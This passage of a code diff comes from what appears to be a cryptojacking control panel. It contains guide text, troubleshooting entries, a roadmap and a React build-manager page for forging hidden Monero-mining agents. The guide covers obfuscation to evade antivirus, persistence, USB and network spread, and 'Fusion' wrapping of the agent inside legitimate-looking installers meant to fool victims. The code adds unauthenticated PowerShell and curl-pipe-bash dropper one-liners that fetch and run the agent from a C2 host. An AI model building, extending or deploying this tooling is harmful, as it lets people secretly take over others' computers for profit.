body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
tips: [
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
],
},
{
id: 'n2',
title: 'C2 server binding',
subtitle: '0.0.0.0:8989',
icon: '🖥',
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
tips: [
'Leave Public URL blank in Calibrate — not needed',
'Dashboard LAN access: http://<lan-ip>:8989',
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
'LAN and tunnel both work simultaneously',
],
},
{
id: 'n3',
title: 'Named tunnel — permanent hostname',
subtitle: 'killa.thetempleofdoom.com',
icon: '☁',
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
tips: [
'Tunnel credentials JSON = portable "license" for the tunnel',
'Any machine with that JSON + cloudflared can run the tunnel',
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
],
code: `# One-time setup (run once on any machine):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
# Then copy credentials to USB:
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
},
{
id: 'n4',
title: 'Forge C2 URL',
subtitle: 'Bake the permanent hostname',
icon: '🔗',
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
tips: [
'Control Endpoint: https://killa.thetempleofdoom.com',
'No port, no trailing slash',
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
'Agents try all C2s in order if one is unreachable',
],
code: `Control Endpoint: https://killa.thetempleofdoom.com
Backup C2 (optional): http://192.168.1.50:8989`,
},
{
id: 'n5',
title: 'Dropper one-liners',
subtitle: 'Permanent URLs — no more temp tunnels',
icon: '💧',
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
tips: [
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
'Endpoints are unauthenticated — the URL is the gate',
'Dashboard requires login — dropper does not',
],
code: `# Windows (any PowerShell):
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
# Linux / macOS:
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
# Direct binary:
https://killa.thetempleofdoom.com/get`,
},
];
// ─── Fusion workflow ───────────────────────────────────────────────────────────
export const FUSION_GUIDE: CheatStep[] = [
{
id: 'f1',
title: 'Build worker config',
subtitle: 'Forge tab',
title: 'Configure the worker first',
subtitle: 'Forge tab — all settings',
icon: '1',
body: 'Set all miner options first — Fusion wraps the same smart agent inside your prep app.',
body: 'Fill in all your Forge settings (C2 URL, wallet, pool, stealth, persistence, etc.) before enabling Fusion. The same agent is just wrapped inside your prep file.',
tips: ['Stealth + persistence recommended for Fusion builds', 'Garble obfuscation helps AV evasion'],
},
{
id: 'f2',
title: 'Enable Fusion',
subtitle: 'Upload prep.exe',
title: 'Enable Fusion + upload prep',
subtitle: 'Toggle → upload → pick order',
icon: '2',
body: 'Toggle Fusion, upload your prep.exe, pick run order (parallel / prep first / worker first).',
body: 'Toggle Fusion on, upload your prep.exe (the legit-looking app — installer, game launcher, PDF reader, etc.). Pick run order: Parallel (both launch), Prep First (prep runs, then agent), or Worker First.',
tips: [
'Prep can be any Windows .exe — it keeps its icon, version strings, file description',
'Parallel = no delay for the victim (best UX)',
'The output file is named after your prep.exe',
],
},
{
id: 'f3',
title: 'Forge fused output',
subtitle: 'One file',
title: 'Forge fused output',
subtitle: 'One file, both payloads',
icon: '3',
body: 'Output is prep.exe (or custom name) containing your app + hidden worker. Uninstall script generated alongside.',
body: 'The output is a single .exe that looks exactly like your prep app. When run: prep app launches visibly, agent installs silently in background. Uninstall script is generated alongside.',
tips: [
'File size = prep + agent overhead',
'Signed prep.exe transfers its signature to the output (if signing enabled)',
'Fusion export folder in Build Manager shows all deliverables',
],
code: `Result: prep_app_name.exe (contains hidden agent)
uninstall-worker-name.ps1`,
},
{
id: 'f4',
title: 'Media Fusion (batch)',
subtitle: 'Multiple titles at once',
icon: '4',
body: 'Upload multiple prep files — each gets its own fused output with the same embedded agent. Great for generating a library of different-looking "installers" that all call home to the same C2.',
tips: [
'Each output has a unique name matching its prep.exe',
'All connect to the same C2 — manage via Build Manager',
'Download individual files or as a ZIP bundle',
],
},
];
// ─── AI Autonomy ───────────────────────────────────────────────────────────────
export const AI_GUIDE: CheatStep[] = [
{
id: 'a1',
title: 'Install Ollama',
subtitle: 'Control PC',
subtitle: 'On the C2 machine',
icon: '🤖',
body: 'Ollama runs on the machine hosting miner-server — not on workers. Default: http://localhost:11434',
body: 'Ollama must run on the same machine as AetherForge (or be reachable from it). It does NOT run on worker machines — the worker just asks the C2 server for decisions.',
tips: [
'Install: https://ollama.ai',
'Pull a model: ollama pull llama3.2',
'Default endpoint: http://localhost:11434',
'Test: curl http://localhost:11434/api/tags',
],
code: `ollama pull llama3.2
ollama run llama3.2`,
},
{
id: 'a2',
title: 'Enable on Forge',
subtitle: 'AI Autonomy',
title: 'Enable in Forge',
subtitle: 'AI Autonomy section',
icon: '⚡',
body: 'Toggle AI Autonomy, set model (e.g. llama3.2). Re-forge to change after deploy.',
body: 'Toggle AI Autonomy on, set the Ollama model name (e.g. llama3.2), confirm the Ollama URL. Re-forge after changing — it\'s baked into the binary. Best combined with Self-healing.',
tips: [
'Model name must match exactly what Ollama has pulled',
'Larger models (llama3.1:70b) reason better but are slower',
'Self-healing + AI = agent repairs itself AND adapts behavior',
],
},
{
id: 'a3',
title: 'Agent loop',
subtitle: 'Every ~60s',
title: 'Agent autonomy loop',
subtitle: 'Every ~60 seconds',
icon: '🔄',
body: 'Forged worker asks server /decide → Ollama → tool calls (self-heal, persistence check). Best with Self-healing on.',
body: 'Forged worker periodically calls C2 /agent/decide → C2 sends context to Ollama → Ollama returns tool calls → agent executes (adjust threads, self-heal, check persistence, adapt to hardware). All logged to /agent/report.',
tips: [
'AI activity visible on Command Deck → AI Activity section',
'Adapt To Hardware: agent auto-tunes thread count based on CPU load',
'If Ollama is down, agent falls back to static config — nothing breaks',
],
},
];
// ─── Troubleshooting ───────────────────────────────────────────────────────────
export const TROUBLESHOOTING = [
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' },
{ problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' },
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
{ problem: 'Can\'t remove miner', fix: 'Run uninstall-*.ps1 from the same forge output folder as the installer — as the same Windows user.' },
{ problem: 'AI not doing anything', fix: 'Re-forge with AI on. Ollama must run on control PC. Check server logs for /agent/decide.' },
{
problem: 'Agent never appears in Fleet Roster',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
},
{
problem: 'Forge blocked — server_url error',
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
},
{
problem: '0 hashrate / shares never appear',
fix: 'Pool must be reachable from the C2 server machine (not the agent). Check Forge settings: pool host, port, TLS match your pool\'s docs. Example for SupportXMR: pool.supportxmr.com:443 with TLS on. Try telnet pool.supportxmr.com 443 from your C2 machine.',
},
{
problem: 'Shares all rejected',
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
},
{
problem: 'Preflight ✕ blocking forge',
fix: 'Read the exact error — common ones: no wallet address, localhost C2 URL, Fusion toggled without prep.exe uploaded, AI enabled without Ollama URL, conflicting thread/CPU settings. Fix each red item before forging.',
},
{
problem: 'Agent installs but goes offline immediately',
fix: 'Self-healing + persistence are key. If the process is killed and those are off, agent exits permanently. Re-forge with Persistence (registry + scheduled task) and Self-healing on. Also check AV/Defender — add Firewall Exclusion in Forge.',
},
{
problem: 'Can\'t remove the miner',
fix: 'Run uninstall-workername.ps1 as Administrator in PowerShell. It removes registry keys, scheduled tasks, WMI triggers, and the installed binary. If that fails: Task Manager → End the process name you set in Forge, then delete manually from the install path.',
},
{
problem: 'PS1 dropper does nothing / errors',
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
},
{
problem: 'Forge hangs / Kill Build button',
fix: 'Go compiler can hang if garble obfuscation is on and GOPATH has stale cache. Click "Kill Build", disable garble temporarily, forge again. Also check agent source is present — LAUNCH.bat installs it automatically.',
},
{
problem: 'AI not making any decisions',
fix: 'Check: 1) AI Autonomy was enabled before this forge (it\'s baked in), 2) Ollama is running on the C2 machine (curl http://localhost:11434/api/tags should return JSON), 3) model name in Forge matches pulled model exactly. Server logs show /agent/decide calls.',
},
{
problem: 'Dashboard shows wrong hashrate',
fix: 'Hashrate is reported by agents every 15s. If an agent has been offline and came back, wait one update cycle. The 15m hashrate smooths over short gaps. Fleet total = sum of all online agents.',
},
{
problem: 'Build Manager shows no builds',
fix: 'Builds are stored in the data/builds folder on the C2 server. If running from USB and data dir is relative — check LAUNCH.bat sets the data dir to a persistent location, not a temp folder.',
},
];
/** Shipped vs planned — shown on Guide page. */
// ─── Roadmap ───────────────────────────────────────────────────────────────────
export const ROADMAP_FEATURES = [
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + optional Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health on Command Deck.' },
{ priority: 'high', title: 'AI activity monitor', desc: 'Ollama decide cycles and tool calls per agent.' },
{ priority: 'medium', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
{ priority: 'medium', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day.' },
{ priority: 'medium', title: 'Build manager', desc: 'Blueprint diff, re-forge, LAN QR downloads on Forge.' },
{ priority: 'low', title: 'Dashboard auth', desc: 'Password or API token for LAN-wide command deck access.' },
{ priority: 'low', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'low', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
// Shipped
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
{ priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
{ priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
{ priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
{ priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
{ priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },
{ priority: 'high', title: 'Dropper pin', desc: 'Pin any build as active dropper target from Build Manager.' },
{ priority: 'high', title: 'Dashboard auth', desc: 'bcrypt user/password, per-session cache, rotate fleet secret.' },
{ priority: 'high', title: 'Fusion (media/prep wrap)', desc: 'Wrap agent inside any .exe, batch mode for multiple titles.' },
{ priority: 'high', title: 'Blueprints', desc: 'Save/load named Forge configs for quick re-forge.' },
{ priority: 'high', title: 'USB Spread + Share Drop', desc: 'Auto-copy to USB drives, WinRM/SMB network spread.' },
{ priority: 'high', title: 'Sacred geometry UI', desc: 'Animated ambient Flower of Life + flame logo throughout.' },
{ priority: 'medium', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'medium', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
{ priority: 'low', title: 'Multi-wallet pools', desc: 'Round-robin wallet rotation per agent.' },
{ priority: 'low', title: 'Agent mesh P2P', desc: 'Agents relay commands peer-to-peer if C2 unreachable.' },
];
// ─── Section registry (used by GuidePage) ─────────────────────────────────────
export const CHEAT_SECTIONS: CheatSection[] = [
{
id: 'pipeline',
title: 'End-to-end pipeline',
description: 'How data flows from your control PC to the pool.',
description: 'How data flows from your control PC to the pool — six stages from first boot to live hashrate.',
steps: PIPELINE_STEPS,
},
{
id: 'network',
title: 'Network topology — Cloudflare tunnel setup',
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
steps: NETWORK_GUIDE,
},
{
id: 'fusion',
title: 'Fusion workflow',
description: 'Bundle your prep app with the smart miner agent.',
description: 'Bundle the smart agent inside any .exe so it looks like your legitimate prep app. One file, two payloads.',
steps: FUSION_GUIDE,
},
{
id: 'ai',
title: 'AI Autonomy workflow',
description: 'Self-healing via Ollama on the control server.',
description: 'Agents make adaptive decisions via Ollama running on the C2 machine — self-healing, thread tuning, persistence checks.',
steps: AI_GUIDE,
},
{
id: 'troubleshoot',
title: 'Troubleshooting',
description: 'Common fixes when something looks wrong.',
description: 'Common symptoms and their exact fixes.',
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
},
];

View File

@@ -29,11 +29,22 @@ function isGoodServerUrl(url: string): boolean {
}
}
/** Pick the best control-server URL for workers on the LAN. */
/** Pick the best control-server URL for workers on the LAN.
* Only substitutes a candidate when the current value is empty or localhost —
* never overwrites a user-entered URL (LAN IP, tunnel, or public domain). */
export function pickBestServerUrl(current: string, candidates: string[]): string {
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
const trimmed = current?.trim() ?? '';
// Keep whatever the user typed unless it's empty or a localhost placeholder
if (trimmed) {
try {
const h = new URL(trimmed).hostname.toLowerCase();
if (h !== 'localhost' && h !== '127.0.0.1' && h !== '::1') return trimmed;
} catch {
// not a valid URL yet — fall through to candidates
}
}
const first = candidates.find(isGoodServerUrl);
return first || current?.trim() || '';
return first || trimmed || '';
}
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */

View File

@@ -0,0 +1,362 @@
.bm-page {
max-width: 1100px;
margin: 0 auto;
padding: 1.5rem 1.25rem 2rem;
}
.bm-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
flex-wrap: wrap;
gap: 1rem;
margin-bottom: 1.75rem;
}
.bm-title {
font-size: 1.6rem;
color: var(--neon-amber, #ffc060);
margin: 0 0 0.25rem;
}
.bm-subtitle {
margin: 0;
font-size: 0.85rem;
}
.bm-header-actions {
display: flex;
gap: 0.5rem;
align-items: center;
flex-shrink: 0;
}
/* ── empty / loading ── */
.bm-empty {
text-align: center;
padding: 2.5rem 1.5rem;
}
.bm-loading {
padding: 2rem;
text-align: center;
}
/* ── card grid ── */
.bm-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(520px, 1fr));
gap: 1.25rem;
}
/* ── card internals ── */
.bm-card {
padding: 1rem 1.1rem;
display: flex;
flex-direction: column;
gap: 0.85rem;
}
.bm-card-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 0.5rem;
flex-wrap: wrap;
}
.bm-card-title {
display: flex;
align-items: center;
gap: 0.45rem;
flex-wrap: wrap;
}
.bm-worker-name {
font-family: var(--font-display, monospace);
font-size: 1.05rem;
font-weight: 700;
color: #eee;
}
.bm-platform-badge {
font-family: 'Courier New', monospace;
font-size: 0.7rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.1rem 0.4rem;
border-radius: 3px;
background: rgba(255,255,255,0.06);
border: 1px solid currentColor;
text-transform: uppercase;
}
.bm-tag {
font-size: 0.65rem;
font-weight: 700;
letter-spacing: 0.09em;
padding: 0.1rem 0.45rem;
border-radius: 3px;
text-transform: uppercase;
}
.bm-tag-fusion {
background: rgba(255,100,0,0.18);
color: #ff8c00;
border: 1px solid rgba(255,100,0,0.45);
}
.bm-tag-universal {
background: rgba(255,215,0,0.12);
color: #ffd700;
border: 1px solid rgba(255,215,0,0.35);
}
.bm-date {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: var(--text-secondary, #888);
white-space: nowrap;
}
/* ── settings grid ── */
.bm-settings-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
gap: 0.4rem 0.75rem;
padding: 0.6rem 0.75rem;
background: rgba(0,0,0,0.28);
border: 1px solid rgba(255,255,255,0.07);
border-radius: 4px;
}
.bm-setting {
display: flex;
flex-direction: column;
gap: 0.1rem;
}
.bm-setting-label {
font-family: 'Courier New', monospace;
font-size: 0.62rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: var(--neon-amber, #ffc060);
opacity: 0.75;
}
.bm-setting-value {
font-size: 0.78rem;
color: #dde;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.bm-setting-value.mono {
font-family: 'Courier New', monospace;
font-size: 0.75rem;
}
.bm-tls-badge {
font-size: 0.62rem;
color: var(--neon-cyan, #0ff);
opacity: 0.8;
}
/* ── downloads ── */
.bm-downloads,
.bm-dropper {
display: flex;
flex-direction: column;
gap: 0.4rem;
}
.bm-downloads-label {
font-size: 0.62rem;
letter-spacing: 0.1em;
color: var(--text-secondary, #888);
margin-bottom: 0.05rem;
}
.bm-downloads-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
.bm-dl-btn {
font-size: 0.82rem;
padding: 0.3rem 0.75rem;
}
/* ── dropper rows ── */
.bm-dropper-row {
display: flex;
align-items: center;
gap: 0.4rem;
padding: 0.25rem 0.5rem;
background: rgba(0,0,0,0.3);
border-radius: 3px;
border: 1px solid rgba(255,255,255,0.05);
min-width: 0;
}
.bm-dropper-os {
font-family: 'Courier New', monospace;
font-size: 0.65rem;
font-weight: 700;
color: var(--neon-cyan, #0ff);
min-width: 2rem;
text-align: right;
flex-shrink: 0;
}
.bm-dropper-cmd {
flex: 1;
font-family: 'Courier New', monospace;
font-size: 0.7rem;
color: #b8e0d0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
min-width: 0;
}
.bm-copy-btn {
flex-shrink: 0;
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
background: rgba(0,245,255,0.08);
border: 1px solid rgba(0,245,255,0.28);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
cursor: pointer;
transition: background 0.15s;
white-space: nowrap;
}
.bm-copy-btn:hover {
background: rgba(0,245,255,0.18);
}
/* ── footer row ── */
.bm-card-footer {
display: flex;
align-items: flex-end;
justify-content: space-between;
gap: 0.75rem;
flex-wrap: wrap;
margin-top: 0.25rem;
}
.bm-qr-wrap {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.2rem;
}
.bm-qr-label {
font-family: 'Courier New', monospace;
font-size: 0.6rem;
color: var(--text-secondary, #888);
letter-spacing: 0.05em;
}
.bm-action-btns {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}
.bm-reforge-btn {
font-size: 0.82rem;
}
.bm-del-btn {
font-size: 0.78rem;
padding: 0.3rem 0.65rem;
background: rgba(255,50,50,0.08);
border: 1px solid rgba(255,80,80,0.3);
border-radius: 4px;
color: #f87171;
cursor: pointer;
transition: background 0.15s, border-color 0.15s;
}
.bm-del-btn:hover {
background: rgba(255,50,50,0.16);
border-color: rgba(255,80,80,0.55);
}
.bm-del-btn-confirm {
background: rgba(255,80,0,0.22);
border-color: rgba(255,100,0,0.65);
color: #ff8c00;
}
/* ── Pinned state ── */
.bm-card-pinned {
box-shadow: 0 0 0 1.5px rgba(0, 255, 130, 0.55), 0 0 18px rgba(0, 255, 100, 0.18);
}
.bm-pinned-banner {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: #00ff88;
background: rgba(0, 255, 100, 0.08);
border: 1px solid rgba(0, 255, 100, 0.3);
border-radius: 4px;
padding: 0.35rem 0.65rem;
margin-bottom: 0.1rem;
line-height: 1.5;
word-break: break-all;
}
.bm-pinned-banner code {
color: #7effc8;
font-size: 0.7rem;
}
/* ── Pin button ── */
.bm-pin-btn {
font-size: 0.78rem;
padding: 0.3rem 0.7rem;
background: rgba(0, 200, 100, 0.08);
border: 1px solid rgba(0, 200, 100, 0.3);
border-radius: 4px;
color: #5fffa8;
cursor: pointer;
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
white-space: nowrap;
}
.bm-pin-btn:hover:not(:disabled) {
background: rgba(0, 200, 100, 0.18);
border-color: rgba(0, 200, 100, 0.55);
}
.bm-pin-btn-active {
background: rgba(0, 255, 120, 0.16);
border-color: rgba(0, 255, 120, 0.6);
color: #00ff88;
box-shadow: 0 0 8px rgba(0, 255, 100, 0.25);
font-weight: 600;
}
.bm-pin-btn-active:hover:not(:disabled) {
background: rgba(255, 80, 80, 0.12);
border-color: rgba(255, 80, 80, 0.4);
color: #f87171;
}
@media (max-width: 640px) {
.bm-grid {
grid-template-columns: 1fr;
}
.bm-dropper-cmd {
display: none;
}
}

View File

@@ -0,0 +1,378 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`;
}
function truncateUrl(u: string): string {
try {
const parsed = new URL(u);
return parsed.host;
} catch {
return u.length > 30 ? u.slice(0, 28) + '…' : u;
}
}
function fmtSize(bytes: number): string {
if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`;
}
function fmtDate(iso: string): string {
try {
const d = new Date(iso);
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
} catch {
return iso;
}
}
function platformLabel(p?: string): string {
if (!p) return 'Win';
const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
};
return m[p.toLowerCase()] ?? p;
}
function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
};
return m[p.toLowerCase()] ?? '#aaa';
}
function CopyButton({ text, label }: { text: string; label: string }) {
const [copied, setCopied] = useState(false);
const copy = () => {
navigator.clipboard.writeText(text).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1800);
});
};
return (
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
{copied ? '✓ Copied' : label}
</button>
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
}
};
return (
<button
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
</button>
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
if (pinned) {
await api.unpinAll();
} else {
await api.pinBuild(buildId);
}
onPinned();
} catch (e) {
console.error(e);
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
disabled={busy}
onClick={handleClick}
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
>
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
</button>
);
}
// ─── per-build card ───────────────────────────────────────────────────────────
function BuildCard({
build,
serverBase,
onReforge,
onDeleted,
onPinned,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
const isUniversal = build.platform?.toLowerCase() === 'universal';
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
📌 ACTIVE DROPPER <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
</div>
)}
{/* ── Header row ── */}
<div className="bm-card-header">
<div className="bm-card-title">
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
>
{platformLabel(build.platform)}
</span>
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
<span className="bm-date">{fmtDate(build.created_at)}</span>
</div>
{/* ── Baked settings summary ── */}
<div className="bm-settings-grid">
<div className="bm-setting">
<span className="bm-setting-label">C2</span>
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Wallet</span>
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Pool</span>
<span className="bm-setting-value mono">
{build.pool_host || '—'}:{build.pool_port || '—'}
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Threads</span>
<span className="bm-setting-value">{build.threads || '—'}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Size</span>
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">File</span>
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
</div>
</div>
{/* ── Download methods ── */}
<div className="bm-downloads">
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
{isUniversal ? 'Universal ZIP' : exeName}
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline bm-dl-btn"
>
Uninstall script
</AuthDownloadButton>
</div>
</div>
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
<CopyButton text={ps1} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">*nix</span>
<code className="bm-dropper-cmd">{sh}</code>
<CopyButton text={sh} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">URL</span>
<code className="bm-dropper-cmd">{downloadUrl}</code>
<CopyButton text={downloadUrl} label="Copy" />
</div>
</div>
{/* ── QR + actions ── */}
<div className="bm-card-footer">
<div className="bm-qr-wrap">
<LanDownloadQR url={downloadUrl} />
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
